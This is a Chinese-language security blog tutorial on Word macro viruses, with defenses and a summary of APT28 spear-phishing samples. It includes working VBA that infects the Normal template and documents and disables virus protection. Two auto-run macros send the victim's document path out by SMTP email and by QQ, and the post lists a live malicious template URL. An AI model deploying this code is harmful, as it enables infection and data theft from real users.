主頁 >  其他 > [系統安全] 十九.宏病毒之入門基礎、防御措施、自發郵件及APT28宏樣本分析

[系統安全] 十九.宏病毒之入門基礎、防御措施、自發郵件及APT28宏樣本分析

2021-02-05 13:28:49 其他

您可能之前看到過我寫的類似文章,為什么還要重復撰寫呢?只是想更好地幫助初學者了解病毒逆向分析和系統安全,更加成體系且不破壞之前的系列,因此,我重新開設了這個專欄,準備系統整理和深入學習系統安全、逆向分析和惡意代碼檢測,“系統安全”系列文章會更加聚焦,更加系統,更加深入,也是作者的慢慢成長史,換專業確實挺難的,逆向分析也是塊硬骨頭,但我也試試,看看自己未來四年究竟能將它學到什么程度,漫漫長征路,偏向虎山行,享受程序,一起加油~

作者前文介紹了病毒原理和防御知識,并通過批處理代碼和漏洞(CVE-2018-20250)利用讓大家感受下病毒攻擊的程序,提出了安全相關建議;這篇文章將詳細講解宏病毒相關知識,它仍然活躍于各個APT攻擊樣本中,具體內容包括宏病毒基礎原理、防御措施、自發郵件及APT28樣本分析, 這些基礎性知識不僅和系統安全相關,同樣與我們身邊常用的軟體、檔案、作業系統緊密聯系,希望這些知識對您有所幫助,更希望大家提高安全意識,安全保障任重道遠,本文參考了參考文獻中的文章,并結合自己的經驗和實踐進行撰寫,也推薦大家閱讀參考文獻,

文章目錄

  • 一.什么是宏
    • 1.基礎概念
    • 2.安裝配置
    • 3.錄制新宏案例
  • 二.宏病毒
    • 1.宏病毒基礎
    • 2.自動宏案例
    • 3.宏病毒感染
  • 三.宏病毒的自我保護與防御
  • 四.案例:CDO自發郵箱
  • 五.案例:QQ發送資訊
  • 六.APT28攻擊中的宏病毒
    • 1.OZ魚叉郵件
    • 2.酒店行業魚叉郵件
    • 3.研究機構魚叉郵件
  • 七.總結

從2019年7月開始,我來到了一個陌生的專業——網路空間安全,初入安全領域,是非常痛苦和難受的,要學的東西太多、涉及面太廣,但好在自己通過分享100篇“網路安全自學”系列文章,艱難前行著,感恩這一年相識、相知、相趣的安全大佬和朋友們,如果寫得不好或不足之處,還請大家海涵!

接下來我將開啟新的安全系列,叫“系統安全”,也是免費的100篇文章,作者將更加深入的去研究惡意樣本分析、逆向分析、內網滲透、網路攻防實戰等,也將通過在線筆記和實踐操作的形式分享與博友們學習,希望能與您一起進步,加油~

  • 推薦前文:網路安全自學篇系列-100篇

作者的github資源:

  • 逆向分析:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
  • 網路安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study

前文分析:

  • [系統安全] 一.什么是逆向分析、逆向分析基礎及經典掃雷游戲逆向
  • [系統安全] 二.如何學好逆向分析及呂布傳游戲逆向案例
  • [系統安全] 三.IDA Pro反匯編工具初識及逆向工程解密實戰
  • [系統安全] 四.OllyDbg動態分析工具基礎用法及Crakeme逆向
  • [系統安全] 五.OllyDbg和Cheat Engine工具逆向分析植物大戰僵尸游戲
  • [系統安全] 六.逆向分析之條件陳述句和回圈陳述句原始碼還原及流程控制
  • [系統安全] 七.逆向分析之PE病毒原理、C++實作檔案加解密及OllyDbg逆向
  • [系統安全] 八.Windows漏洞利用之CVE-2019-0708復現及藍屏攻擊
  • [系統安全] 九.Windows漏洞利用之MS08-067遠程代碼執行漏洞復現及深度提權
  • [系統安全] 十.Windows漏洞利用之SMBv3服務遠程代碼執行漏洞(CVE-2020-0796)復現
  • [系統安全] 十一.那些年的熊貓燒香及PE病毒行為機理分析
  • [系統安全] 十二.熊貓燒香病毒IDA和OD逆向分析(上)病毒初始化
  • [系統安全] 十三.熊貓燒香病毒IDA和OD逆向分析(中)病毒釋放機理
  • [系統安全] 十四.熊貓燒香病毒IDA和OD逆向分析–病毒釋放程序(下)
  • [系統安全] 十五.Chrome瀏覽器保留密碼功能滲透決議、藍屏漏洞及某音樂軟體漏洞復現
  • [系統安全] 十六.PE檔案逆向基礎知識(PE決議、PE編輯工具和PE修改)
  • [系統安全] 十七.Windows PE病毒概念、分類及感染方式詳解
  • [系統安全] 十八.病毒攻防機理及WinRAR惡意劫持漏洞(腳本病毒、自啟動、定時關機、藍屏攻擊)
  • [系統安全] 十九.宏病毒之入門基礎、防御措施、自發郵件及APT28宏樣本分析

宣告:本人堅決反對利用教學方法進行犯罪的行為,一切犯罪行為必將受到嚴懲,綠色網路需要我們共同維護,更推薦大家了解它們背后的原理,更好地進行防護,該樣本不會分享給大家,分析工具會分享,(參考文獻見后)


一.什么是宏

1.基礎概念

宏(Macro)是一種批量處理的稱謂,是指能組織到一起作為獨立的命令使用的一系列Word命令,可以實作任務執行的自動化,簡化日常的作業,Microsoft Office使用Visual Basic for Applications(VBA)進行宏的撰寫,

大家可能接觸到的宏并不多,但如果經常使用Word檔案時,可能會遇到宏,比如國家自然科學基金申請,或者作者之前分享的宏技巧,文章如下:

  • [Office] WPS Excel通過添加宏實作多張表格合并
  • [黑科技] WPS通過VB宏函式實作自編號功能

注意,在Office中可以直接使用Word的宏函式,而WPS需要安裝相關的軟體后才能使用,打開WPS Word如下圖所示,宏是不能使用的,

在這里插入圖片描述


2.安裝配置

這時需要下載VBA for WPS并安裝才能使用(下載地址為第19篇),下載安裝如下圖所示:

  • https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis

在這里插入圖片描述

安裝完后可以設定宏函式,如下圖所示:

在這里插入圖片描述

點擊"宏",然后"創建"宏函式,如下圖所示,取名為test,

在這里插入圖片描述

創建后如下圖所示,可以看到是VB代碼進行撰寫的,

在這里插入圖片描述

代碼示例如下:

Sub test()
'
' test Macro
'
    Dim sLineNum3 As String     '行號(文字)
    Dim nLineNum                '行號(數值)
    Dim i As Long
 
    Title = "輸入編號資訊"
    a1 = "請輸入總編號開始號:"
    b1 = InputBox(a1, Title)
End Sub

WPS可以保存為帶宏函式的格式,如下圖所示,

在這里插入圖片描述

然后運行宏函式如下圖所示,點擊"運行"即可,如下圖所示,

在這里插入圖片描述

運行結果如下圖所示,彈出界面輸入:

在這里插入圖片描述


3.錄制新宏案例

第一步,降低宏的安全性,
宏的默認安全性非常高,有時會導致宏程式不會自動執行,我們可以修改降低其安全性,

在這里插入圖片描述

第二步,設定字體隱藏,
假設我們現在有這樣一個需求,要將檔案中的內容隱藏,怎么做呢?傳統方法是全選文字,然后設定字體隱藏,如下圖所示,

在這里插入圖片描述

如果需要查看文字再進行還原,這些小技巧往往會隱藏在病毒或木馬中,那么,我們是否可以將這隱藏和還原兩個操作用兩個快捷鍵關聯起來呢?下次再進行相關操作時,會變得更加簡潔,

在這里插入圖片描述

第三步,點擊錄制新宏,

在這里插入圖片描述

第四步,將剛才的操作執行一遍,全選文字然后隱藏,然后點擊停止錄制,

在這里插入圖片描述

此時,可以看到我們新創建的宏MacroHide,

在這里插入圖片描述

第五步,再錄制一個顯示的新宏MacroShow,

在這里插入圖片描述

顯示之后我們停止錄制,

在這里插入圖片描述

第六步,系結快捷鍵,
如果是在Office中,可以直接選擇對應的快捷鍵,但WPS設定不同,

在這里插入圖片描述

WPS設定如下:點擊“檔案”->“選項”,在“選項”界面最左側找到并點擊“自定義功能區”,選擇“自定義”按鈕,

在這里插入圖片描述

設定快捷鍵如下:

  • MacroHide對應Ctrl+Shift+H
  • MacroShow對應Ctrl+Shift+S

在這里插入圖片描述

此時,功能已經實作,當我們按下“Ctrl+Shift+H”時,文字隱藏,按下“Ctrl+Shift+S”時文字顯示,

在這里插入圖片描述

當然宏可以更加復雜,接下來我們將介紹,同時,怎么去查看宏代碼呢?通過VB編輯器能夠查看宏代碼,如下圖所示,

在這里插入圖片描述

在Normal下的模塊=>NewMacros有我們剛剛編輯的兩個宏,

在這里插入圖片描述

該代碼的核心內容如下:

  • Selection.WholeStory 全選功能
  • Selection.Font 字體設定
  • Hidden = 1 隱藏屬性設定為True
Sub MacroHide()
'
' MacroHide Macro
' 宏由 xiuzhang 錄制,時間: 2020/04/20
'
    Selection.WholeStory
    With Selection.Font
        .Underline = wdUnderlineNone
        .EmphasisMark = wdEmphasisMarkNone
        .Hidden = 0
        .Shadow = 0
        .Outline = 0
        .Emboss = 0
        .Engrave = 0
        .Scaling = 100
        .Scaling = 100
        .Hidden = 1
        .Hidden = 1
    End With
End Sub

二.宏病毒

1.宏病毒基礎

那么,什么又是宏病毒呢?
宏病毒是一種寄存在檔案或模板的宏中的計算機病毒,存在于資料檔案或模板中(字處理檔案、資料表格、資料庫、演示檔案等),使用宏語言撰寫,利用宏語言的功能將自己寄生到其他資料檔案,

最早的時候,人們認為資料檔案是不可能帶有病毒的,因為資料檔案不包含指令,直到宏病毒出現才改變大家的看法,當我們打開這樣的檔案,其中的宏就會被執行,于是宏病毒就會被激活,轉移到計算機上,并駐留在Normal模板上,從此以后,所有自動保存的檔案都會“感染”上這種宏病毒,而且如果其他用戶打開了感染病毒的檔案,宏病毒又會轉移到他的計算機上,

那么,宏病毒又如何獲得這些控制權呢?
只有拿到控制前之后宏病毒才能進行傳播,它和Office的特性相關,Office支持一些自動執行的宏,如果將病毒代碼放到自動執行的宏中,Word打開時會給病毒傳播創造條件,利用自動執行宏將病毒代碼寫在宏匯中,由于這些宏會自動執行,從而獲取控制權,

(1) WORD

  • AutoOpen:打開Word檔案
  • AutoClose:關閉Word檔案
  • AutoExec:打開Word程式(Word檔案和Word程式區別)
  • AutoExit:退出Word程式
  • AutoNew:新建宏

(2) EXCEL

  • Auto_Open
  • Auto_Close
  • Auto_Activate
  • Auto_Deactivate

(3) Office97/2000

  • Document_Open
  • Document_Close
  • Document_New

2.自動宏案例

我們通過VB編輯器增加宏代碼,定義了五個自動宏,

  • 第一個是新建檔案:AutoNew
  • 第二個是退出程式:AutoExit
  • 第三個關閉檔案:AutoClose
  • 第四個打開檔案:AutoExec
  • 第五個打開程式:AutoExec

注意,程式指WPS或Office,一個程式可以打開或創建多個檔案,他們存在一定區別,同樣,它們的權限也有區別,

在這里插入圖片描述

代碼如下:

Sub AutoOpen()
  MsgBox "您好,您打開了Word檔案!", 0, "宏病毒測驗"
End Sub

Sub AutoExec()
  MsgBox "您好,您打開了Word程式!", 0, "宏病毒測驗"
End Sub

Sub AutoNew()
  MsgBox "您好,您選擇了新建檔案!", 0, "宏病毒測驗"
End Sub

Sub AutoExit()
  MsgBox "歡迎下次光臨!", 0, "宏病毒測驗"
End Sub

Sub AutoClose()
  MsgBox "下次還要來哦!", 0, "宏病毒測驗"
End Sub

Sub MyFirstVBAProcedure()
    Dim NormProj
    MsgBox "歡迎光臨XXXXXX安全實驗室!", 0, "宏病毒測驗"
    Set NormProj = NormalTemplate.VBProject
    MsgBox NormProj.Name, 0, "模塊檔案名"    '顯示模板檔案的名字
    With Assistant.NewBalloon           '調出助手
        .Icon = msoIconAlert
        .Animation = msoAnimationGetArtsy
        .Heading = "Attention,Please!"
        .Text = "Today I turn into a martian!"
        .Show
    End With
End Sub

當我們打開Word時,會提示我們安全警告,選擇“啟用宏”,

在這里插入圖片描述

此時會提示一個打開Word檔案的對話框,表示AutoOpen宏自啟動,

在這里插入圖片描述

當我們關閉程式會提示如下對話框,

在這里插入圖片描述

如果我們想要查看宏的具體定義,可以查看定義的函式,如下圖所示,也可以在工具列中選擇VB編輯器查看代碼,

在這里插入圖片描述

當我們執行某個函式,會有對應的執行效果,比如彈出“宏病毒測驗”對話框,

在這里插入圖片描述

你可能會疑惑,為什么只彈出了兩個對話框呢?
因為宏包括兩種型別——區域宏和全域宏,而退出Word程式和進入Word程式不是當前檔案能定義的,其他三個宏無法起到作用,我們需要將它們復制到Normal模塊中才能運行,


3.宏病毒感染

在Word和其他微軟Office系列辦公軟體中,宏分為兩種,

  • 內建宏:區域宏,位于檔案中,對該檔案有效,如檔案打開(AutoOpen)、保存、列印、關閉等
  • 全域宏:位于office模板中,為所有檔案所共用,如打開Word程式(AutoExec)

宏病毒的傳播路線如下:

  • 單機:單個Office檔案 => Office檔案模板 => 多個Office檔案(檔案到模塊感染)
  • 網路:電子郵件居多

首先Office檔案被感染病毒,當檔案打開會執行自動宏,如果宏被執行,它會去檢測當前模板是否被感染病毒,如果沒有被感染,它會將釋放自身的病毒代碼,當模板被感染之后,系統中任何一個檔案被打開,都會執行模板中的病毒,宏病毒進行傳播,

宏病毒的感染方案就是讓宏在這兩類檔案之間互相感染,即資料檔案、檔案模板, 下面是《軟體安全》課程的示例圖,

在這里插入圖片描述

注意,宏代碼是可以除錯的,

在這里插入圖片描述

完整代碼如下:

Sub test()
    'On Error Resume Next
    Application.DisplayAlerts = wdAlertsNone
    Application.EnableCancelKey = wdCancelDisabled
    Application.DisplayStatusBar = False
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False        '以上是病毒基本的自我保護措施
    Set Doc = ActiveDocument.VBProject.VBComponents
    '取當前活動檔案中工程組件集合
    Set Tmp = NormalTemplate.VBProject.VBComponents
    '取Word默認模板中工程組件集合
    Const ExportSource = "c:\jackie.sys"
    Const VirusName = "AIGTMV1"               '該字串相當于一個病毒感染標志
    Application.VBE.ActiveVBProject.VBComponents(VirusName).Export ExportSource
                                 '將當前病毒代碼匯出到c:\jackie.sys檔案保存
                                 
    For i = 1 To Tmp.Count
        If Tmp(i).Name = VirusName Then TmpInstalled = 1
     '檢查模板是否已經被感染病毒
    Next i
    
    For j = 1 To Doc.Count
        If Doc(j).Name = VirusName Then DocInstalled = 1
                                     '檢查當前活動檔案是否已被感染病毒
    Next j
    If TmpInstalled = 0 Then                 '如果模板沒有被感染,對其進行感染
        Tmp.Import ExportSource              '從c:\jackie.sys將病毒匯入模板
        NormalTemplate.Save                  '自動保存模板,以免引起用戶懷疑
 
    End If
    If DocInstalled = 0 Then                 '如果當前活動檔案沒有被感染
        Doc.Import ExportSource              '從c:\jackie.sys將病毒匯入當前活動檔案
        ActiveDocument.SaveAs ActiveDocument.FullName '自動保存當前活動檔案
    End If
    MsgBox "Word instructional macro by jackie", 0, "Word.APMP"
End Sub

宏病毒也可以通過網路進行傳播,譬如電子郵件,

  • Mellisa病毒:自動往OutLook郵件用戶地址簿中的前50位用戶發送病毒副本
  • “叛逃者”病毒:也集成了感染Office檔案的宏病毒感染功能,并且可以通過OutLook發送病毒副本

在這里插入圖片描述


三.宏病毒的自我保護與防御

宏病毒的自我保護主要包括三種方法:

(1) 禁止提示資訊
On Error Resume Next 如果發生錯誤,不彈出出錯視窗,繼續執行下面陳述句
Application.DisplayAlerts = wdAlertsNone 不彈出警告視窗
Application.DisplayStatusBar = False 不顯示狀態欄,以免顯示宏的運行狀態
Options.VirusProtection = False 關閉病毒保護功能,運行前如果包含宏,不提示

(2) 屏蔽命令選單,不允許查看宏

  • 通過特定宏定義
Sub ViewVBCode()
    MsgBox "Unexcpected error",16
End Sub

ViewCode:該程序和ViewVBCode函式一樣,如果用戶按工具列上的小圖示就會執行這個程序,

  • Disable或者洗掉特定選單項
    用來使“工具—宏”選單失效的陳述句
    CommandBars(“Tools”).Controls(16).Enabled = False

(3) 隱藏宏的真實病毒代碼
在“自動宏”中,不包括任何感染或破壞的代碼,但包含了創建、執行和洗掉新宏(實際進行感染和破壞的宏)的代碼;將宏代碼字體顏色設定成與背景一樣的白色等,


宏病毒的防御措施包括:

  • 一旦發現計算機Office軟體打開后彈出系統警告框,并且無法“另存為”,就表示該檔案已感染宏病毒,此時不能再打開其他檔案,否則病毒也會感染,應馬上關閉洗掉該檔案,若檔案重要不能洗掉,則需用殺毒軟體全盤掃面,處理感染檔案,
  • 開啟禁用宏進行防止再次感染病毒,在“受信任位置”中,洗掉“可靠來源”串列框中的不安全來源,根據實際情況設定是否信任所有安裝的加載項和模板,設定宏的安全性,

在這里插入圖片描述

  • 安裝殺毒軟體,打全系統補丁是預防計算機病毒的基本措施,當然也適用于宏病毒,除此這些常規手段之外,宏病毒還有專門的防治措施,
  • 在線沙箱檢測檔案是否宏病毒,

四.案例:CDO自發郵箱

接下來我們制作一個宏,當對方打開檔案時就知道該檔案在對方電腦存盤的具體路徑,常見方法包括:

  • 郵件組件,如CDO組件
  • 遠程腳本

這里采用CDO自發郵件實作,通過Word VB撰寫腳本,設定檔案打開時運行,利用CDO發送電子郵件將文件的路徑和名字發送到指定郵箱中,具體步驟如下:

  • 1) 利用AutoOpen執行并打開檔案時運行
  • 2) 利用WordObj.ActiveDocument獲取檔案資訊
  • 3) 利用CDO實作電子郵件實作資訊傳遞

注意,千萬別小瞧這個功能,如果是一封釣魚郵件或運行宏病毒自動采集個人電腦資訊發送至指定郵件,其危害性非常大,而且該攻擊手段廣泛存在于許多亞洲APT組組中,

參考文獻:

  • 宏病毒+使用CDO自動發郵件 - 良月廿七
  • word宏病毒通過郵件獲取路徑和檔案名 - Braylon1002
  • 宏的基本概念與使用 - WHU MOOC
  • 宏&一個簡單的宏病毒示例 - Erio

定義的宏函式為AutoOpen,如下圖所示:

在這里插入圖片描述

核心代碼如下所示:

在這里插入圖片描述

完整代碼如下,包括獲取檔案夾路徑、定義郵件地址、添加CDO庫、設定微軟服務器、CDO郵件引數設定、發送資料

Sub AutoOpen()
' AutoOpen宏
' By: CSDN Eastmount 2020-04-21
    
    ' 獲取檔案夾路徑
    Dim WordObj As Object
    Dim Doc As Object
    Set WordObj = GetObject(, "Word.Application")
    Set Doc = WordObj.ActiveDocument
    MsgBox (Doc.Path)
    
    ' 定義郵件地址
    Const from1 = "152xxxxxxxx@163.com"
    Const to1 = "xxxxxxxxxx@qq.com"
    Const password = "xxxxxxxxxx"
    
    ' 添加CDO庫
    Set CDO = CreateObject("CDO.Message")
    CDO.from = from1
    CDO.to = to1
    CDO.Subject = Doc.Name
    CDO.Textbody = Doc.Path
    
    ' 微軟服務器網址
    MsgBox ("發送郵件")
    Const proxyUrl = "http://schemas.microsoft.com/cdo/configuration/"
    With CDO.Configuration.Fields
        .Item(proxyUrl & "sendusing") = 2                     '發送埠
        .Item(proxyUrl & "smtpserver") = "smtp.163.com"       'SMTP服務器地址
        .Item(proxyUrl & "smtpserverport") = 25               'SMTP服務器埠
        .Item(proxyUrl & "smtpauthenticate") = 1              '是否開啟用戶名密碼驗證
        .Item(proxyUrl & "sendusername") = from1              '發送方郵箱名稱
        .Item(proxyUrl & "sendpassword") = password           '發送方郵箱密碼
        .Item(proxyUrl & "smtpusessl") = True                 '是否使用ssl協議
        .Item(proxyUrl & "smtpconnectiontimeout") = 60        '時延
        .Update
    End With
    
    ' 發送資料
    CDO.Send
    Set CDO = Nothing
    MsgBox ("成功!")
End Sub

當test04.doc檔案打開時,它會自動運行,其結果如下圖所示:

在這里插入圖片描述

接著對話框提示發送郵件,

在這里插入圖片描述

最終郵件通過宏病毒發送成功,

在這里插入圖片描述

下圖可見,成功將Word穩定打開的路徑地址發送到了目標郵箱,如果宏病毒再獲取更詳細的資訊或檔案,是否也能發送到指定郵箱呢?這樣的惡意代碼仍需要重視,

在這里插入圖片描述

注意事項及常見錯誤:
(1) 如果在撰寫宏病毒程序中,出現“缺少:串列分隔符或)”,我們需要進行除錯及修改,

在這里插入圖片描述

(2) 如果提示“郵件無法發送到SMTP服務器,傳輸錯誤代碼為 0x80040217,服務器回應為 not available”,則需要開啟STMP授權,

在這里插入圖片描述

CDO發送郵件時需要開啟郵件的stmp授權代理,網易郵箱163設定方法如下圖所示:

在這里插入圖片描述

如果騰訊郵箱要開啟SMTP/POP3服務,則將生成的授權碼當作郵箱登陸密碼來進行郵件發送,注意設定的是授權碼而不是密碼,

在這里插入圖片描述

在這里插入圖片描述

(3) 如果wps報429 ActiveX不能創建物件 ,則解決方法參考:

  • https://www.cnblogs.com/pyman/p/7918484.html

五.案例:QQ發送資訊

接著通過QQ發送資訊來制作宏病毒,并獲取對方電腦存盤的具體路徑,具體流程:

  • 獲取檔案路徑
  • 將路徑復制至剪貼板
  • 發送QQ訊息
  • 通過sendkeys輸入ctrl+V發送粘貼內容

注意,騰訊WebQQ停止運營了,且不好獲取QQ的聊天視窗句柄,才采用了該方法,該部分主要參考師弟的代碼,再次感謝,

完整宏代碼如下:

Sub AutoOpen()
    ' 獲取檔案路徑
    DocPath = ActiveDocument.Path
    DocName = ActiveDocument.Name
    Text1 = "DocPath:" + DocPath
    Text2 = "DocName:" + DocName
    Result = Text1 + Text2
    MsgBox (Result)
    
    ' 將內容送入剪貼板
    With CreateObject("new:{1C3B4210-F441-11CE-B9EA-00AA006B1A69}")
        .SetText Result
        .PutInClipboard
    End With
    
    ' 發送QQ訊息
    Shell "cmd /c start tencent://Message/?Uin=QQ號碼&weName=qzone.qq.com & Menu=yes"
    
    Dim t As Single
    t = Timer
    Do
      DoEvents
    Loop While Timer - t < 2    '擱置2s
    
    ' 粘貼
    SendKeys "^v"
    SendKeys "{ENTER}"
    SendKeys "{ENTER}"
    SendKeys "^{ENTER}"
End Sub

運行代碼如下,獲取了Word檔案的路徑,

在這里插入圖片描述

此時內容復制至剪貼板,如果輸入Ctrl+V,輸出內容如下:

在這里插入圖片描述

通過下面的命令可以直接打開某個QQ的視窗,

  • cmd /c start tencent://Message/?Uin=QQ號碼&weName=qzone.qq.com & Menu=yes

在這里插入圖片描述

最終當我們打開Word檔案,它會執行自動代碼,并向某個QQ號自動發送資訊,運行效果如下圖所示:

在這里插入圖片描述


六.APT28攻擊中的宏病毒

最后分享先知社區關于APT28樣本的宏病毒分析,和作者的這篇文章基礎知識非常相關,如果該部分有不當的地方,可以提醒我洗掉,感謝,參考文獻:

  • APT28樣本分析之宏病毒分析

APT28組織是一個與ELS有關的高級攻擊團伙,本次分析的是該團伙使用的宏病毒,所有資料均來自互聯網,比如,2018年10月到11月OZ外交處理事務組織的魚叉郵件(paloalto),2017年7月到8月酒店行業的魚叉郵件(Fireeye),2017年10月MG研究機構的魚叉郵件(cisco),

1.OZ魚叉郵件

  • 檔案名稱:crash list(Lion Air Boeing 737).docx
  • SHA-256 2cfc4b3686511f959f14889d26d3d9a0d06e27ee2bb54c9afb1ada6b8205c55f
  • 創建時間:2018:09:11 04:22:00Z
  • 檔案大小:32.9 KB (33,775 位元組)
  • 基本方法
    打開檔案會進行遠程模板加載,使用這種攻擊首先初始檔案不會有明顯的惡意代碼,并且可以收集受害者的IP,一旦攻擊成功,就關閉服務器,難以追蹤,

首先,遠程模板的位置 http://188.241.58.170/live/owa/office.dotm,注意,在分析惡意樣本時,千萬別訪問這些遠程鏈接或檔案,很可能中病毒或成為肉雞,

在這里插入圖片描述

通過宏代碼分析,發現其沒有進行混淆作業,但是這次使用AutoClose,只有檔案關閉的時候,惡意代碼才會執行,從而會繞過一些不關閉檔案的沙箱檢測,

在這里插入圖片描述

此次宏檔案一共會創建兩個檔案,如下所示,分別是從 UserForm1.Label2.Caption 和 UserForm1.Label1.Caption 中提取出來使用base64編碼的惡意檔案,

  • Environ(“APPDATA”) “\MSDN” “~msdn”
  • Environ(“TEMP”) “~temp.docm”

在這里插入圖片描述

選擇UserForm1表單右鍵保存后,可以看到里面經過base64編碼的惡意檔案,

在這里插入圖片描述
在這里插入圖片描述

將msdn和temp.docm寫入后開始加載temp.docm,再運行temp.docm的Module1.Proc1,

在這里插入圖片描述

最后可以看到通過shell運行釋放exe,

在這里插入圖片描述


2.酒店行業魚叉郵件

  • 檔案名稱:Hotel_Reservation_Form.doc
  • SHA-256 a4a455db9f297e2b9fe99d63c9d31e827efb2cda65be445625fa64f4fce7f797
  • 創建時間:2017:07:03 05:33:00Z
  • 檔案大小:76.7 KB (78,600 位元組)
  • 基本方法
    針對特定的攻擊目標對內容進行了定制化處理,樣本使用WMI呼叫
    rundll32.exe啟動,

首先,樣本運行完如下,可以看到針對特定的攻擊目標對內容進行了特定的定制化,

在這里插入圖片描述

分析宏代碼,發現宏代碼是加密過的,

在這里插入圖片描述

解密可以看到三個函式,攻擊者并沒有做太多的混淆,而是將關鍵的PE檔案BASE64編碼放到XML檔案中,包括:

  • AutoOpen()
  • DecodeBase64(base64)
  • Execute()

獲取指定xml節點的資訊,

在這里插入圖片描述

最后在docProps/app.xml中發現了這個base64編碼的文本,

在這里插入圖片描述

之后將base64文本檔案解碼,

在這里插入圖片描述

解密后為一個PE檔案,

在這里插入圖片描述

發現將樣本放到APPDATA環境變數的目錄下,檔案名為user.dat,最后使用了WMI呼叫rundll32.exe啟動,

在這里插入圖片描述


3.研究機構魚叉郵件

  • 檔案名稱:Conference_on_Cyber_Conflict.doc
  • SHA-256 e5511b22245e26a003923ba476d7c36029939b2d1936e17a9b35b396467179ae
  • 創建時間:2017:10:03 01:36:00
  • 檔案大小:333 KB (341,504 位元組)
  • 基本方法
    針對特定的攻擊目標對內容進行了定制化處理,樣本base64解碼,設定bat腳本并啟動,

樣本運行完如下,可以看到針對特定的攻擊目標對內容進行了特定的定制化,

在這里插入圖片描述

對宏代碼進行了加密,解密可以看到三個函式,攻擊者并沒有做太多的混淆,而是將關鍵的可執行檔案分散放編碼放到檔案屬性中,

  • AutoOpen()
  • DecodeBase64(base64)
  • Execute()

將base64資料放到了word的內置屬性中,

在這里插入圖片描述

合并獲取的編碼值并解碼,

在這里插入圖片描述

最后設定bat腳本,然后啟動

在這里插入圖片描述

在這里插入圖片描述


七.總結

寫到這里,這篇宏病毒基礎性文章就介紹結束了,包括入門基礎、防御措施、自發郵件及APT28樣本分析,希望對您有所幫助,后續作者還會繼續深入分析宏病毒,并結合實體和防御進行講解,作者作為網路安全初學者的慢慢成長路吧!希望未來能更透徹撰寫相關文章,同時非常感謝參考文獻中的安全大佬們的文章分享,感謝小伙伴和師傅們的教導,深知自己很菜,得努力前行,

  • 一.什么是宏
    1.基礎概念
    2.安裝配置
    3.錄制新宏案例
  • 二.宏病毒
    1.宏病毒基礎
    2.自動宏案例
    3.宏病毒感染
  • 三.宏病毒的自我保護與防御
  • 四.案例:CDO自發郵箱
  • 五.案例:QQ發送資訊
  • 六.APT28攻擊中的宏病毒
    1.OZ魚叉郵件
    2.酒店行業魚叉郵件
    3.研究機構魚叉郵件

學安全一年,認識了很多安全大佬和朋友,希望大家一起進步,這篇文章中如果存在一些不足,還請海涵,作者作為網路安全和系統安全初學者的慢慢成長路吧!希望未來能更透徹撰寫相關文章,同時非常感謝參考文獻中的安全大佬們的文章分享,感謝師傅、實驗室小伙伴的教導,深知自己很菜,得努力前行,編程沒有捷徑,逆向也沒有捷徑,它們都是搬磚活,少琢磨技巧,干就對了,什么時候你把攻擊對手按在地上摩擦,你就贏了,也會慢慢形成了自己的安全經驗和技巧,加油吧,少年希望這個路線對你有所幫助,共勉,

歡迎大家討論,是否覺得這系列文章幫助到您!如果存在不足之處,還請海涵,任何建議都可以評論告知讀者,共勉~

  • 逆向分析:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
  • 網路安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study

2020年8月18新開的“娜璋AI安全之家”,主要圍繞Python大資料分析、網路空間安全、人工智能、Web滲透及攻防技術進行講解,同時分享CCF、SCI、南核北核論文的演算法實作,娜璋之家會更加系統,并重構作者的所有文章,從零講解Python和安全,寫了近十年文章,真心想把自己所學所感所做分享出來,還請各位多多指教,真誠邀請您的關注!謝謝,

(By:Eastmount 2021-02-04 星期四 凌晨夜于貴陽 http://blog.csdn.net/eastmount/ )


參考文獻:
[1] 小伙伴們的分享、《軟體安全》課程實驗(詳見網易云課程WHU)
[2] 宏的基本概念與使用 - WHU MOOC
[3] 宏病毒+使用CDO自動發郵件 - 良月廿七
[4] word宏病毒通過郵件獲取路徑和檔案名 - Braylon1002
[5] 宏&一個簡單的宏病毒示例 - Erio
[6] PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors
[7] APT28樣本分析之宏病毒分析 - 先知社區
[8] 宏病毒研究2——實戰研究篇 - i春秋老師 icq5f7a075d
[9] [Office] WPS Excel通過添加宏實作多張表格合并
[10] [黑科技] WPS通過VB宏函式實作自編號功能
[11] https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html
[12] https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/
[13] https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html


轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/256747.html

標籤:其他

上一篇:BlockingQueue學習

下一篇:【LeetCode力扣題庫】27. 移除元素(簡單)

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

